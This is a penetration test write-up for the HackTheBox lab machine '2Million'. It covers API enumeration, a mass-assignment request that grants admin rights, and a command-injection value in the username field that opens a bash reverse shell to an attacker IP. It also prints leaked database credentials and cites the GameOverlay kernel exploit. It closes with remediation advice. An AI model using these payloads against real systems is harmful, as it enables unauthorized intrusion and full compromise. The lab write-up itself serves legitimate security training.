HACKTHEBOX

PENETRATION TEST REPORT

TARGET: 2MILLION

IP Address: 10.10.11.221

Confidentiality Notice

This document contains confidential information regarding the security posture of the target system. Unauthorized distribution is strictly prohibited.

February 2, 2026

Contents

1 Executive Summary **2**
- 1.1 Assessment Overview . . . 2
- 1.2 Key Findings Matrix . . . 2
- 1.3 Conclusion . . . 2

2 Attack Walkthrough **3**
- 2.1 1. Reconnaissance & Enumeration . . . 3
- 2.2 2. Initial Access . . . 3
- 2.3 3. Privilege Escalation (Web) . . . 3
- 2.4 4. Remote Code Execution (RCE) . . . 3
- 2.5 5. System Privilege Escalation . . . 3

3 Technical Findings **5**
- 3.1 Finding 01: OS Command Injection . . . 5
- 3.2 Finding 02: Broken Object Level Authorization . . . 5
- 3.3 Finding 03: Outdated Kernel (OverlayFS) . . . 5

4 Remediation Strategy **6**
- 4.1 Immediate Actions . . . 6
- 4.2 Long-Term Security Hygiene . . . 6

1 EXECUTIVE SUMMARY

1.1 Assessment Overview

This report details the findings of a penetration test conducted against the **2Million** machine. The objective was to identify vulnerabilities that could compromise the confidentiality, integrity, and availability of the system. The assessment simulated a "Black Box" external attack.

1.2 Key Findings Matrix

The following critical issues were identified and exploited to gain full control (Root) of the server:

Vulnerability	Severity
OS Command Injection (VPN Generator)	Critical
Broken Access Control (Mass Assignment)	High
Kernel Exploit (OverlayFS)	Critical
Sensitive Data Exposure (.env file)	Medium

1.3 Conclusion

The system was fully compromised. An attacker was able to register an account, escalate privileges to Administrator via API manipulation, execute remote code to gain a shell, and finally escalate to Root using an unpatched Kernel vulnerability.

2 ATTACK WALKTHROUGH

2.1 1. Reconnaissance & Enumeration

The assessment began with Nmap scanning, revealing port 22 (SSH) and 80 (HTTP). The web application hosted an "Invite Code" challenge. Inspecting the client-side JavaScript (`inviteapi.min.js`) revealed an obfuscated API endpoint.

```
POST /api/v1/invite/how/to/generate
Response: {"data": "...", "enctype": "ROT13"}
Decoded: "make a POST request to /api/v1/invite/generate"
```

De-obfuscated Endpoint Discovery

2.2 2. Initial Access

Using the discovered endpoint, a valid invite code was generated. This allowed for account registration. Post-authentication, the API endpoint `/api/v1/admin/auth` confirmed the user was not an administrator.

2.3 3. Privilege Escalation (Web)

The endpoint `PUT /api/v1/admin/settings/update` was found to be vulnerable to **Mass Assignment**. By manipulating the JSON payload, the user elevated their own privileges.

```
PUT /api/v1/admin/settings/update
{
    "email": "attacker@htb.com",
    "is_admin": 1
}
```

Malicious Payload

2.4 4. Remote Code Execution (RCE)

Administrative access unlocked the `POST /api/v1/admin/vpn/generate` endpoint. This endpoint takes a username parameter which is passed to a shell command without sanitization.

Exploit Payload:

```
username: "test; bash -i >& /dev/tcp/10.10.14.X/4444 0>&1;"
```

This resulted in a reverse shell as the `www-data` user.

2.5 5. System Privilege Escalation

During internal enumeration, a `.env` file was located in `/var/www/html/`, containing cleartext database credentials.

Sensitive Data Found

```
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=root
DB_PASSWORD=$uper$ecure$
```

Password reuse allowed SSH access as the system user `admin`. Finally, the system was identified as running Linux Kernel 5.15.70. The **GameOverlay (CVE-2023-32629)** exploit was utilized to gain immediate root privileges.

3 TECHNICAL FINDINGS

3.1 Finding 01: OS Command Injection

- **Risk Rating:** Critical
- **Endpoint:** `/api/v1/admin/vpn/generate`
- **Impact:** Complete server compromise.
- **Description:** The application concatenates user input directly into a system shell command. This allows attackers to execute arbitrary commands using shell separators like `;`.

3.2 Finding 02: Broken Object Level Authorization

- **Risk Rating:** High
- **Endpoint:** `/api/v1/admin/settings/update`
- **Impact:** Privilege escalation to Administrator.
- **Description:** The API endpoint allows clients to modify the `is_admin` attribute due to a lack of server-side filtering on input parameters (Mass Assignment).

3.3 Finding 03: Outdated Kernel (OverlayFS)

- **Risk Rating:** Critical
- **CVE:** CVE-2023-32629
- **Impact:** Local Privilege Escalation to Root.
- **Description:** The operating system kernel is vulnerable to a flaw in the OverlayFS module, allowing unprivileged users to gain root capabilities.

4 REMEDIATION STRATEGY

4.1 Immediate Actions

1. **Sanitize Input:** Implement strict allow-listing for the VPN generation username field. Ensure no shell metacharacters are allowed.
2. **Patch Kernel:** Upgrade the Ubuntu kernel to the latest stable release immediately to mitigate the OverlayFS vulnerability.
3. **Restrict API Updates:** Modify the backend logic for `/settings/update` to ignore or block the `is_admin` parameter from client requests.

4.2 Long-Term Security Hygiene

- **Secrets Management:** Move the `.env` file outside the web root or use a dedicated secrets manager.
- **Principle of Least Privilege:** Ensure the database user used by the web application does not have root-level permissions.
- **Regular Audits:** Conduct routine code reviews on API endpoints, focusing on authorization controls.